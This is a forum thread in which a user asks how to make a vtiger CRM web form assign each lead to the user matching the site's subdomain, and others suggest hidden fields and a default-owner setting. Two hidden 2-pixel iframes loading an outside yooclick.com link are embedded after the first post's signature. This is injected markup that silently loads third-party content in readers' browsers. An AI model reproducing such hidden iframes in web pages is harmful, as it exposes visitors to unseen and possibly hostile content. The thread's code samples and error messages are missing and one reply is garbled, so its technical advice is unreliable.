Hi,
If I want to use a web form to assign a lead to a specific user, what is the hidden field that I want to use?
Is it <input id="assigned_user_id" name="assigned_user_id" value="user id">?
Or do I need to use something else. The above is from a sugar form I used to use so I'm not sure if vtiger is similar.
Kindest Regards
Pattie <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe> <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>
Comments
i have a replicated site the i am going to put the web form on. when a lead goes to a replicated site, i need the lead to automatically be assigned to the site owner.
i have a separate db that manages my replicated site. with my other crm (sugar) we transferred the hash key from the sugar db to the replicated site db and filled in the hash for the assigned_user_id and that allowed us to 'drop' the lead directly into that user's lead list.
i'm looking for the field name & what vtiger value for that field to accomplish this.
right now my code for the webform config is:
and i have the following for my form:
so that when it renders it look like:
you all have said not to pass the access key, and that is what i am filling for the assigned_user_id
so i should probably be using something else there but i do not know what.
i'm getting the following error, so i'm just not certain what i am doing wrong.
any help on this would be terrific.
kindest regards
pattie
can you be more specific on how that page assists me? i have looked that page over and i do not see anything in there that refers to directly assigning a lead to a specific user using fields with the form. if it's there, i cannot see it so please point it out to me. perhaps supplying a piece of code that would be specific to my request?
kindest regards
pattie
add a hidden input element called modulename and give it value of "leads". to assign lead to a particular user, there is a variable called default onwer give the user name instead of admin, which is default. link shared by balduin documents the same feature.
thanks, i think i'm beginning to understand. i now have this in my code:
which renders to this:
but still produces this error:
so, i've added the hidden field for module name and tried to add the default user.
the default user needs to change each time so this cannot be static, it's got to be dynamic. i need the user to be the same as the subdomain on my site.
so for instance, in the above example the visitor went to <!-- m --><a class="postlink" href="http://onthebeach.mikepagesolution.com">http://onthebeach.mikepagesolution.com</a><!-- m -->, therefore, the lead needs to go to vtiger user user onthebeach
if the visitor went to <!-- m --><a class="postlink" href="http://freddy.mikepagesolution.com">http://freddy.mikepagesolution.com</a><!-- m -->, then the lead would need to go to vtiger user freddy.
see, this changes, so i can't do anything static.
i have a separate database that controls the replicated site (simply because i do not yet understand how to do this in vtiger) that i can put whatever information i need from vtiger into it so that when the form is rendered it has the correct user data to post to that user.
so i'm guessing it's these two that i don't have correct:
this value="<?=$data;?>" comes from my other database and should represent the vtiger user. not sure if i use access key, user id, or what?
kindest regards
pattie
make it "leads" instead of "leads". defaultowner and redirecturl you should specify in webforms.config.php file.
if i specify a default user in the webform config file, how then do i set up my form to automatically assign the lead to a specific user?
the user that i want to assign the lead to will change so i don't think that assigning a default user in the config would do what i want it to do.
kindest regards
pattie
ok, that is what i am trying to figure out. is this something that you can help with?